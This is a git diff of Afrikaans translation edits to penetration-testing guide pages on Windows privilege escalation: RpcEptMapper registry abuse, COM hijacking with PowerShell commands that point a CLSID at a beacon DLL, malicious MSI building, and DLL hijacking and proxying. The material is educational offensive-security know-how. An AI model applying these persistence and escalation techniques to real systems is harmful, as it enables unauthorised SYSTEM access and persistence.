-Die onvermoë om sekere waardes direk te wysig, terwyl die vermoë om nuwe subsleutels te skep, opgemerk is. 'n Voorbeeld wat uitgelig is, was 'n poging om die **ImagePath** waarde te verander, wat 'n toegang geweier boodskap tot gevolg gehad het.
+Die onvermoë om sekere waardes direk te wysig, maar die vermoë om nuwe subsleutels te skep, is opgemerk. 'n Voorbeeld wat uitgelig is, was 'n poging om die **ImagePath** waarde te verander, wat 'n toegang geweier boodskap tot gevolg gehad het.
Ten spyte van hierdie beperkings, is 'n potensiaal vir privilige-eskalasie geïdentifiseer deur die moontlikheid om die **Performance** subsleutel binne die **RpcEptMapper** diens se registerstruktuur te benut, 'n subsleutel wat nie standaard teenwoordig is nie. Dit kan DLL registrasie en prestasie monitering moontlik maak.
@@ -21,7 +21,7 @@ Dokumentasie oor die **Performance** subsleutel en sy gebruik vir prestasie moni
Die doel was om die **RPC Endpoint Mapper diens** te dwing om die vervaardigde Performance DLL te laai. Waarnemings het getoon dat die uitvoering van WMI klas navrae rakende Prestasie Data via PowerShell gelei het tot die skepping van 'n loglêer, wat die uitvoering van arbitrêre kode onder die **LOCAL SYSTEM** konteks moontlik gemaak het, en sodoende verhoogde privilige gegee het.
-Die volharding en potensiële implikasies van hierdie kwesbaarheid is beklemtoon, wat die relevansie daarvan vir post-exploitasiestategieë, laterale beweging, en ontduiking van antivirus/EDR stelsels uitlig.
+Die volharding en potensiële implikasies van hierdie kwesbaarheid is beklemtoon, wat die relevansie daarvan vir post-exploitatie strategieë, laterale beweging, en ontduiking van antivirus/EDR stelsels uitlig.
Alhoewel die kwesbaarheid aanvanklik onbedoeld deur die script bekend gemaak is, is dit beklemtoon dat die uitbuiting beperk is tot verouderde Windows weergawes (bv. **Windows 7 / Server 2008 R2**) en plaaslike toegang vereis.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index 966cbc045..5b188da9b 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -4,13 +4,13 @@
### Soek na nie-bestaande COM-komponente
-Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan **COM Hijacking** as 'n **volhardende meganisme** gebruik word. Deur `procmon` te gebruik, is dit maklik om gesoekte COM-registers te vind wat nie bestaan nie, wat 'n aanvaller kan skep om volharding te bewerkstellig. Filters:
+Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan **COM Hijacking** as 'n **volhardende meganisme** gebruik word. Met `procmon` is dit maklik om gesoekte COM-registers te vind wat nie bestaan nie, wat 'n aanvaller kan skep om volhardend te wees. Filters:
- **RegOpenKey** operasies.
- waar die _Result_ **NAAM NIE GEVIND** is.
- en die _Path_ eindig met **InprocServer32**.
-Sodra jy besluit het watter nie-bestaande COM om te verpersoonlik, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te verpersoonlik wat elke paar sekondes gelaai word, aangesien dit oorbodig kan wees._
+Sodra jy besluit het watter nie-bestaande COM om te verteenwoordig, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te verteenwoordig wat elke paar sekondes gelaai word, aangesien dit oorbodig kan wees._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@@ -51,7 +51,7 @@ Write-Host
Deur die uitset te kontroleer, kan jy een kies wat **elke keer 'n gebruiker aanmeld** gaan uitgevoer word, byvoorbeeld.
-Nou, deur te soek na die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
+Nou, deur die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** en in HKLM en HKCU te soek, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
index e3b0f2e2b..a6fc60b8f 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
@@ -2,7 +2,7 @@
# Skep Kwaadwillige MSI en Kry Root
-Die skepping van die MSI-installer sal gedoen word met behulp van wixtools, spesifiek [wixtools](http://wixtoolset.org) sal benut word. Dit is die moeite werd om te noem dat alternatiewe MSI-bouers probeer is, maar hulle was nie suksesvol in hierdie spesifieke geval nie.
+Die skepping van die MSI-installer sal gedoen word met wixtools, spesifiek [wixtools](http://wixtoolset.org) sal gebruik word. Dit is die moeite werd om te noem dat alternatiewe MSI-bouers probeer is, maar hulle was nie suksesvol in hierdie spesifieke geval nie.
Vir 'n omvattende begrip van wix MSI gebruiksvoorbeelde, is dit raadsaam om [hierdie bladsy](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) te raadpleeg. Hier kan jy verskeie voorbeelde vind wat die gebruik van wix MSI demonstreer.
@@ -38,7 +38,7 @@ fail_here
```
-Dit is belangrik om te noem dat die Package-element eienskappe bevat soos InstallerVersion en Compressed, wat die weergawe van die installer spesifiseer en aandui of die pakket gecomprimeer is of nie, onderskeidelik.
+Dit is belangrik om te noem dat die Package-element eienskappe bevat soos InstallerVersion en Compressed, wat die weergawe van die installeerder spesifiseer en aandui of die pakket gecomprimeer is of nie, onderskeidelik.
Die skepproses behels die gebruik van candle.exe, 'n hulpmiddel van wixtools, om 'n wixobject uit msi.xml te genereer. Die volgende opdrag moet uitgevoer word:
```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
index bf0512843..684cce250 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
@@ -4,22 +4,22 @@
-## Basic Information
+## Basiese Inligting
DLL Hijacking behels die manipulasie van 'n vertroude toepassing om 'n kwaadwillige DLL te laai. Hierdie term sluit verskeie taktieke in soos **DLL Spoofing, Injection, en Side-Loading**. Dit word hoofsaaklik gebruik vir kode-uitvoering, om volharding te bereik, en, minder algemeen, privaatheidsverhoging. Ten spyte van die fokus op verhoging hier, bly die metode van hijacking konsekwent oor doelwitte.
-### Common Techniques
+### Algemene Tegnieke
Verskeie metodes word gebruik vir DLL hijacking, elk met sy doeltreffendheid afhangende van die toepassing se DLL-laai strategie:
-1. **DLL Replacement**: Om 'n egte DLL met 'n kwaadwillige een te vervang, opsioneel met DLL Proxying om die oorspronklike DLL se funksionaliteit te behou.
-2. **DLL Search Order Hijacking**: Om die kwaadwillige DLL in 'n soekpad voor die wettige een te plaas, wat die toepassing se soekpatroon benut.
-3. **Phantom DLL Hijacking**: Om 'n kwaadwillige DLL te skep vir 'n toepassing om te laai, dink dat dit 'n nie-bestaande vereiste DLL is.
-4. **DLL Redirection**: Om soekparameters soos `%PATH%` of `.exe.manifest` / `.exe.local` lêrs te wysig om die toepassing na die kwaadwillige DLL te lei.
-5. **WinSxS DLL Replacement**: Om die wettige DLL met 'n kwaadwillige teenhanger in die WinSxS-gids te vervang, 'n metode wat dikwels geassosieer word met DLL side-loading.
-6. **Relative Path DLL Hijacking**: Om die kwaadwillige DLL in 'n gebruiker-beheerde gids saam met die gekopieerde toepassing te plaas, wat lyk soos Binary Proxy Execution tegnieke.
+1. **DLL Vervanging**: Om 'n egte DLL met 'n kwaadwillige een te vervang, opsioneel met DLL Proxying om die oorspronklike DLL se funksionaliteit te behou.
+2. **DLL Soekorde Hijacking**: Om die kwaadwillige DLL in 'n soekpad voor die wettige een te plaas, wat die toepassing se soekpatroon benut.
+3. **Phantom DLL Hijacking**: Om 'n kwaadwillige DLL te skep vir 'n toepassing om te laai, dinkend dit is 'n nie-bestaande vereiste DLL.
+4. **DLL Hergidsering**: Om soekparameters soos `%PATH%` of `.exe.manifest` / `.exe.local` lêers te wysig om die toepassing na die kwaadwillige DLL te lei.
+5. **WinSxS DLL Vervanging**: Om die wettige DLL met 'n kwaadwillige teenhanger in die WinSxS-gids te vervang, 'n metode wat dikwels geassosieer word met DLL side-loading.
+6. **Relatiewe Pad DLL Hijacking**: Om die kwaadwillige DLL in 'n gebruiker-beheerde gids saam met die gekopieerde toepassing te plaas, wat lyk soos Binary Proxy Execution tegnieke.
-## Finding missing Dlls
+## Vind ontbrekende Dlls
Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind, is om [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) van sysinternals te loop, **die volgende 2 filters in te stel**:
@@ -27,18 +27,18 @@ Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind, is om [pr
.png>)
-en net die **File System Activity** te wys:
+en net die **Lêerstelselaktiwiteit** te wys:
.png>)
-As jy op soek is na **ontbrekende dlls in die algemeen**, moet jy dit **vir 'n paar sekondes** laat loop.\
-As jy op soek is na 'n **ontbrekende dll binne 'n spesifieke uitvoerbare**, moet jy **'n ander filter soos "Process Name" "contains" "\" instel, dit uitvoer, en stop om gebeurtenisse te vang**.
+As jy op soek is na **ontbrekende dlls in die algemeen**, moet jy dit **vir 'n paar sekondes laat loop**.\
+As jy op soek is na 'n **ontbrekende dll binne 'n spesifieke uitvoerbare**, moet jy **'n ander filter soos "Prosesnaam" "bevat" "\" instel, dit uitvoer, en stop om gebeurtenisse te vang**.
## Exploiting Missing Dlls
-Om privaathede te verhoog, is die beste kans wat ons het om **'n dll te skryf wat 'n privaatheidsproses sal probeer laai** in een van **die plekke waar dit gesoek gaan word**. Daarom sal ons in staat wees om **'n dll te skryf in 'n **gids** waar die **dll gesoek word voordat** die gids waar die **oorspronklike dll** is (weird geval), of ons sal in staat wees om **in 'n gids te skryf waar die dll gesoek gaan word** en die oorspronklike **dll bestaan nie** in enige gids nie.
+Om privaathede te verhoog, is die beste kans wat ons het om **'n dll te skryf wat 'n privaatheidsproses sal probeer laai** in een van **die plekke waar dit gesoek gaan word**. Daarom sal ons in staat wees om **'n dll te skryf in 'n **gids** waar die **dll gesoek word voordat** die gids waar die **oorspronklike dll** is (weird geval), of ons sal in staat wees om **in 'n gids te skryf waar die dll gesoek gaan word** en die oorspronklike **dll nie in enige gids bestaan** nie.
-### Dll Search Order
+### Dll Soekorde
**Binne die** [**Microsoft dokumentasie**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **kan jy vind hoe die Dlls spesifiek gelaai word.**
@@ -60,24 +60,24 @@ As die [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/
Laastens, let daarop dat **'n dll gelaai kan word wat die absolute pad aandui in plaas van net die naam**. In daardie geval sal daardie dll **slegs in daardie pad gesoek word** (as die dll enige afhanklikhede het, sal hulle gesoek word soos net gelaai deur naam).
-Daar is ander maniere om die soekorde te verander, maar ek gaan dit hier nie verduidelik nie.
+Daar is ander maniere om die maniere te verander om die soekorde te verander, maar ek gaan dit hier nie verduidelik nie.
-#### Exceptions on dll search order from Windows docs
+#### Uitsonderings op dll soekorde van Windows docs
Sekere uitsonderings op die standaard DLL soekorde word in Windows dokumentasie opgemerk:
-- Wanneer 'n **DLL wat sy naam met een wat reeds in geheue gelaai is, deel**, die stelsel omseil die gewone soek. In plaas daarvan, voer dit 'n kontrole vir herleiding en 'n manifest uit voordat dit na die DLL wat reeds in geheue is, terugval. **In hierdie scenario, voer die stelsel nie 'n soek na die DLL uit nie**.
-- In gevalle waar die DLL erken word as 'n **kenner DLL** vir die huidige Windows weergawe, sal die stelsel sy weergawe van die bekende DLL gebruik, saam met enige van sy afhanklike DLLs, **die soekproses oorslaan**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** hou 'n lys van hierdie bekende DLLs.
+- Wanneer 'n **DLL wat sy naam deel met een wat reeds in geheue gelaai is**, teëgekom word, omseil die stelsel die gewone soek. In plaas daarvan, voer dit 'n kontrole vir herleiding en 'n manifest uit voordat dit na die DLL wat reeds in geheue is, terugval. **In hierdie scenario, voer die stelsel nie 'n soek na die DLL uit nie**.
+- In gevalle waar die DLL erken word as 'n **kenner DLL** vir die huidige Windows weergawe, sal die stelsel sy weergawe van die bekende DLL gebruik, saam met enige van sy afhanklike DLLs, **en die soekproses oorslaan**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** hou 'n lys van hierdie bekende DLLs.
- As 'n **DLL afhanklikhede het**, word die soek na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **module name** aangedui is, ongeag of die aanvanklike DLL deur 'n volle pad geïdentifiseer is.
-### Escalating Privileges
+### Verhoogde Privaathede
-**Requirements**:
+**Vereistes**:
-- Identifiseer 'n proses wat onder **verskillende privaathede** (horisontale of laterale beweging) werk of sal werk, wat **'n DLL ontbreek**.
+- Identifiseer 'n proses wat werk of sal werk onder **verskillende privaathede** (horisontale of laterale beweging), wat **'n DLL ontbreek**.
- Verseker **skrywe toegang** is beskikbaar vir enige **gids** waarin die **DLL** gesoek gaan word. Hierdie plek kan die gids van die uitvoerbare wees of 'n gids binne die stelselpaaie.
-Ja, die vereistes is ingewikkeld om te vind aangesien **dit standaard 'n bietjie vreemd is om 'n bevoorregte uitvoerbare te vind wat 'n dll ontbreek** en dit is selfs **meer vreemd om skrywe toestemmings op 'n stelselpaaigids te hê** (jy kan nie standaard nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik.\
+Ja, die vereistes is moeilik om te vind aangesien **dit standaard 'n bietjie vreemd is om 'n bevoorregte uitvoerbare te vind wat 'n dll ontbreek** en dit is selfs **meer vreemd om skrywe toestemmings op 'n stelselpaaigids te hê** (jy kan nie standaard nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik.\
In die geval dat jy gelukkig is en jy voldoen aan die vereistes, kan jy die [UACME](https://github.com/hfiref0x/UACME) projek nagaan. Alhoewel die **hoofdoel van die projek is om UAC te omseil**, kan jy daar 'n **PoC** van 'n Dll hijacking vir die Windows weergawe vind wat jy kan gebruik (waarskynlik net die pad van die gids waar jy skrywe toestemmings het, verander).
Let daarop dat jy **jou toestemmings in 'n gids kan nagaan** deur:
@@ -102,19 +102,19 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
### Geoutomatiseerde gereedskap
-[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sal kyk of jy skryftoestemmings het op enige gids binne die stelselpaaie.\
+[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) sal kyk of jy skryftoestemmings het op enige gids binne die stelselpaaie.\
Ander interessante geoutomatiseerde gereedskap om hierdie kwesbaarheid te ontdek, is **PowerSploit funksies**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ en _Write-HijackDll._
### Voorbeeld
-In die geval jy 'n uitbuitbare scenario vind, is een van die belangrikste dinge om dit suksesvol te benut, om **'n dll te skep wat ten minste al die funksies wat die uitvoerbare sal invoer, uitvoer**. In elk geval, let daarop dat Dll Hijacking handig is om te [verhoog van Medium Integriteitsvlak na Hoë **(om UAC te omseil)**](../authentication-credentials-uac-and-efs.md#uac) of van [**Hoë Integriteit na SYSTEM**](./#from-high-integrity-to-system)**.** Jy kan 'n voorbeeld vind van **hoe om 'n geldige dll te skep** binne hierdie dll hijacking studie gefokus op dll hijacking vir uitvoering: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
+In die geval dat jy 'n uitbuitbare scenario vind, is een van die belangrikste dinge om dit suksesvol te benut, om **'n dll te skep wat ten minste al die funksies wat die uitvoerbare sal invoer, uitvoer**. In elk geval, let daarop dat Dll Hijacking handig is om te [verhoog van Medium Integriteitsvlak na Hoë **(om UAC te omseil)**](../authentication-credentials-uac-and-efs.md#uac) of van [**Hoë Integriteit na SYSTEM**](./#from-high-integrity-to-system)**.** Jy kan 'n voorbeeld vind van **hoe om 'n geldige dll te skep** binne hierdie dll hijacking studie gefokus op dll hijacking vir uitvoering: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Boonop kan jy in die **volgende afdeling** 'n paar **basiese dll kodes** vind wat nuttig kan wees as **sjablone** of om 'n **dll met nie vereiste funksies ge-exporteer** te skep.
## **Skep en kompileer Dlls**
### **Dll Proxifying**
-Basies is 'n **Dll proxy** 'n Dll wat in staat is om **jou kwaadwillige kode uit te voer wanneer dit gelaai word**, maar ook om te **bloot te stel** en **te werk** soos **verwag** deur **alle oproepe na die werklike biblioteek te relaye**.
+Basies is 'n **Dll proxy** 'n Dll wat in staat is om **jou kwaadwillige kode uit te voer wanneer dit gelaai word**, maar ook om te **bloot te stel** en **te werk** soos **verwag** deur **alle oproepe na die werklike biblioteek te herlei**.
Met die gereedskap [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) of [**Spartacus**](https://github.com/Accenture/Spartacus) kan jy eintlik **'n uitvoerbare program aandui en die biblioteek kies** wat jy wil proxify en **'n proxified dll genereer** of **die Dll aandui** en **'n proxified dll genereer**.
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
index 62d93f49d..3e87d5a75 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
@@ -2,57 +2,52 @@
{{#include ../../../banners/hacktricks-training.md}}
-
-**Bug bounty tip**: **meld aan** by **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin verdien bounties tot **$100,000**!
+## Basiese Inligting
-{% embed url="https://go.intigriti.com/hacktricks" %}
+DLL Hijacking behels die manipulasie van 'n vertroude toepassing om 'n kwaadwillige DLL te laai. Hierdie term sluit verskeie taktieke in soos **DLL Spoofing, Injection, en Side-Loading**. Dit word hoofsaaklik gebruik vir kode-uitvoering, om volharding te bereik, en, minder algemeen, privaatheidsverhoging. Ten spyte van die fokus op verhoging hier, bly die metode van hijacking konsekwent oor doelwitte.
-## Basic Information
-
-DLL Hijacking behels die manipulasie van 'n vertroude toepassing om 'n kwaadwillige DLL te laai. Hierdie term sluit verskeie taktieke in soos **DLL Spoofing, Injection, en Side-Loading**. Dit word hoofsaaklik gebruik vir kode-uitvoering, om volharding te bereik, en, minder algemeen, privilige-escalasie. Ten spyte van die fokus op escalasie hier, bly die metode van hijacking konsekwent oor doelwitte.
-
-### Common Techniques
+### Algemene Tegnieke
Verskeie metodes word gebruik vir DLL hijacking, elk met sy doeltreffendheid afhangende van die toepassing se DLL-laai strategie:
-1. **DLL Replacement**: Om 'n werklike DLL met 'n kwaadwillige een te vervang, opsioneel met DLL Proxying om die oorspronklike DLL se funksionaliteit te behou.
-2. **DLL Search Order Hijacking**: Om die kwaadwillige DLL in 'n soekpad voor die legitieme een te plaas, wat die toepassing se soekpatroon benut.
+1. **DLL Vervanging**: Om 'n egte DLL met 'n kwaadwillige een te vervang, opsioneel met DLL Proxying om die oorspronklike DLL se funksionaliteit te behou.
+2. **DLL Soekorde Hijacking**: Om die kwaadwillige DLL in 'n soekpad voor die wettige een te plaas, wat die toepassing se soekpatroon benut.
3. **Phantom DLL Hijacking**: Om 'n kwaadwillige DLL te skep vir 'n toepassing om te laai, terwyl dit dink dit is 'n nie-bestaande vereiste DLL.
-4. **DLL Redirection**: Om soekparameters soos `%PATH%` of `.exe.manifest` / `.exe.local` lêers te wysig om die toepassing na die kwaadwillige DLL te lei.
-5. **WinSxS DLL Replacement**: Om die legitieme DLL met 'n kwaadwillige teenhanger in die WinSxS-gids te vervang, 'n metode wat dikwels geassosieer word met DLL side-loading.
-6. **Relative Path DLL Hijacking**: Om die kwaadwillige DLL in 'n gebruiker-beheerde gids saam met die gekopieerde toepassing te plaas, wat lyk soos Binary Proxy Execution tegnieke.
+4. **DLL Hergidsering**: Om soekparameters soos `%PATH%` of `.exe.manifest` / `.exe.local` lêers te wysig om die toepassing na die kwaadwillige DLL te lei.
+5. **WinSxS DLL Vervanging**: Om die wettige DLL met 'n kwaadwillige teenhanger in die WinSxS-gids te vervang, 'n metode wat dikwels geassosieer word met DLL side-loading.
+6. **Relatiewe Pad DLL Hijacking**: Om die kwaadwillige DLL in 'n gebruiker-beheerde gids saam met die gekopieerde toepassing te plaas, wat lyk soos Binary Proxy Execution tegnieke.
-## Finding missing Dlls
+## Vind ontbrekende DLLs
-Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind, is om [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) van sysinternals te loop, **die volgende 2 filters in te stel**:
+Die mees algemene manier om ontbrekende DLLs binne 'n stelsel te vind, is om [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) van sysinternals te loop, **die volgende 2 filters in te stel**:
.png>)
.png>)
-en net die **File System Activity** te wys:
+en net die **Lêerstelselaktiwiteit** te wys:
.png>)
-As jy op soek is na **ontbrekende dlls in die algemeen**, moet jy dit vir 'n paar **sekondes** laat loop.\
-As jy op soek is na 'n **ontbrekende dll binne 'n spesifieke uitvoerbare**, moet jy **'n ander filter soos "Process Name" "contains" "\" instel, dit uitvoer, en stop met die vang van gebeurtenisse**.
+As jy op soek is na **ontbrekende dlls in die algemeen**, moet jy dit **vir 'n paar sekondes** laat loop.\
+As jy op soek is na 'n **ontbrekende dll binne 'n spesifieke uitvoerbare**, moet jy **'n ander filter soos "Prosesnaam" "bevat" "\" instel, dit uitvoer, en stop om gebeurtenisse te vang**.
-## Exploiting Missing Dlls
+## Ontginning van Ontbrekende DLLs
-Om privilige te eskaleer, is die beste kans wat ons het om **'n dll te kan skryf wat 'n privilige proses sal probeer laai** in een van **die plekke waar dit gesoek gaan word**. Daarom sal ons in staat wees om **'n dll te skryf in 'n **gids** waar die **dll gesoek word voordat** die gids waar die **oorspronklike dll** is (vreemde geval), of ons sal in staat wees om **te skryf in 'n gids waar die dll gesoek gaan word** en die oorspronklike **dll bestaan nie** in enige gids nie.
+Om privaathede te verhoog, is die beste kans wat ons het om **'n dll te skryf wat 'n privaatheidsproses sal probeer laai** in een van **die plekke waar dit gesoek gaan word**. Daarom sal ons in staat wees om **'n dll te skryf in 'n **gids** waar die **dll gesoek word voordat** die gids waar die **oorspronklike dll** is (weird geval), of ons sal in staat wees om **in 'n gids te skryf waar die dll gesoek gaan word** en die oorspronklike **dll nie in enige gids bestaan** nie.
-### Dll Search Order
+### DLL Soekorde
-**Binne die** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **kan jy vind hoe die Dlls spesifiek gelaai word.**
+**Binne die** [**Microsoft dokumentasie**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **kan jy vind hoe die DLLs spesifiek gelaai word.**
-**Windows-toepassings** soek na DLLs deur 'n stel **vooraf gedefinieerde soekpade** te volg, wat aan 'n spesifieke volgorde voldoen. Die probleem van DLL hijacking ontstaan wanneer 'n skadelike DLL strategies in een van hierdie gidse geplaas word, wat verseker dat dit gelaai word voordat die egte DLL. 'n Oplossing om dit te voorkom, is om te verseker dat die toepassing absolute pades gebruik wanneer dit na die DLLs verwys wat dit benodig.
+**Windows toepassings** soek na DLLs deur 'n stel **vooraf gedefinieerde soekpade** te volg, wat aan 'n spesifieke volgorde voldoen. Die probleem van DLL hijacking ontstaan wanneer 'n skadelike DLL strategies in een van hierdie gidse geplaas word, wat verseker dat dit gelaai word voordat die egte DLL. 'n Oplossing om dit te voorkom, is om te verseker dat die toepassing absolute pades gebruik wanneer dit na die DLLs verwys wat dit benodig.
-Jy kan die **DLL soekorde op 32-bit** stelsels hieronder sien:
+Jy kan die **DLL soekorde op 32-bis** stelsels hieronder sien:
1. Die gids waaruit die toepassing gelaai is.
2. Die stelseldirectory. Gebruik die [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funksie om die pad van hierdie gids te kry.(_C:\Windows\System32_)
-3. Die 16-bit stelseldirectory. Daar is geen funksie wat die pad van hierdie gids verkry nie, maar dit word gesoek. (_C:\Windows\System_)
+3. Die 16-bis stelseldirectory. Daar is geen funksie wat die pad van hierdie gids verkry nie, maar dit word gesoek. (_C:\Windows\System_)
4. Die Windows-gids. Gebruik die [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) funksie om die pad van hierdie gids te kry.
1. (_C:\Windows_)
5. Die huidige gids.
@@ -64,25 +59,25 @@ As die [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/
Laastens, let daarop dat **'n dll gelaai kan word wat die absolute pad aandui in plaas van net die naam**. In daardie geval sal daardie dll **slegs in daardie pad gesoek word** (as die dll enige afhanklikhede het, sal hulle gesoek word soos net gelaai deur naam).
-Daar is ander maniere om die soekorde te verander, maar ek gaan dit hier nie verduidelik nie.
+Daar is ander maniere om die maniere te verander om die soekorde te verander, maar ek gaan dit nie hier verduidelik nie.
-#### Exceptions on dll search order from Windows docs
+#### Uitsonderings op dll soekorde van Windows docs
Sekere uitsonderings op die standaard DLL soekorde word in Windows dokumentasie opgemerk:
-- Wanneer 'n **DLL wat sy naam deel met een wat reeds in geheue gelaai is** teëgekom word, omseil die stelsel die gewone soek. In plaas daarvan, voer dit 'n kontrole vir herleiding en 'n manifest uit voordat dit na die DLL wat reeds in geheue is, terugval. **In hierdie scenario, voer die stelsel nie 'n soek na die DLL uit nie**.
+- Wanneer 'n **DLL wat sy naam met een wat reeds in geheue gelaai is, deel**, die stelsel omseil die gewone soek. In plaas daarvan, voer dit 'n kontrole vir herleiding en 'n manifest uit voordat dit na die DLL wat reeds in geheue is, terugval. **In hierdie scenario, voer die stelsel nie 'n soek vir die DLL uit nie**.
- In gevalle waar die DLL erken word as 'n **kenner DLL** vir die huidige Windows weergawe, sal die stelsel sy weergawe van die bekende DLL gebruik, saam met enige van sy afhanklike DLLs, **en die soekproses oorslaan**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** hou 'n lys van hierdie bekende DLLs.
-- As 'n **DLL afhanklikhede het**, word die soek na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **module name** aangedui is, ongeag of die aanvanklike DLL deur 'n volle pad geïdentifiseer is.
+- As 'n **DLL afhanklikhede het**, word die soek na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **modulename** aangedui is, ongeag of die aanvanklike DLL deur 'n volle pad geïdentifiseer is.
-### Escalating Privileges
+### Verhoging van Privileges
-**Requirements**:
+**Vereistes**:
-- Identifiseer 'n proses wat werk of sal werk onder **verskillende privilige** (horisontale of laterale beweging), wat **'n DLL ontbreek**.
-- Verseker dat **skrywe toegang** beskikbaar is vir enige **gids** waarin die **DLL** gesoek gaan word. Hierdie plek kan die gids van die uitvoerbare wees of 'n gids binne die stelselpaaie.
+- Identifiseer 'n proses wat onder **verskillende privileges** (horisontale of laterale beweging) werk of sal werk, wat **'n DLL ontbreek**.
+- Verseker dat **skrywe toegang** beskikbaar is vir enige **gids** waarin die **DLL** gesoek gaan word. Hierdie ligging kan die gids van die uitvoerbare wees of 'n gids binne die stelselpaaie.
-Ja, die vereistes is moeilik om te vind aangesien **dit standaard 'n bietjie vreemd is om 'n bevoorregte uitvoerbare te vind wat 'n dll ontbreek** en dit is selfs **meer vreemd om skrywe toestemmings op 'n stelselpaaie gids te hê** (jy kan nie standaard nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik.\
-In die geval dat jy gelukkig is en jy voldoen aan die vereistes, kan jy die [UACME](https://github.com/hfiref0x/UACME) projek nagaan. Alhoewel die **hoofdoel van die projek is om UAC te omseil**, kan jy daar 'n **PoC** van 'n Dll hijaking vir die Windows weergawe vind wat jy kan gebruik (waarskynlik net die pad van die gids waar jy skrywe toestemmings het, verander).
+Ja, die vereistes is moeilik om te vind aangesien **dit standaard 'n bietjie vreemd is om 'n bevoorregte uitvoerbare te vind wat 'n dll ontbreek** en dit is selfs **meer vreemd om skrywe toestemmings op 'n stelselpaaigids te hê** (jy kan nie standaard nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik.\
+In die geval dat jy gelukkig is en jy voldoen aan die vereistes, kan jy die [UACME](https://github.com/hfiref0x/UACME) projek nagaan. Alhoewel die **hoofdoel van die projek is om UAC te omseil**, kan jy daar 'n **PoC** van 'n Dll hijacking vir die Windows weergawe vind wat jy kan gebruik (waarskynlik net die pad van die gids waar jy skrywe toestemmings het, verander).
Let daarop dat jy **jou toestemmings in 'n gids kan nagaan** deur:
```bash
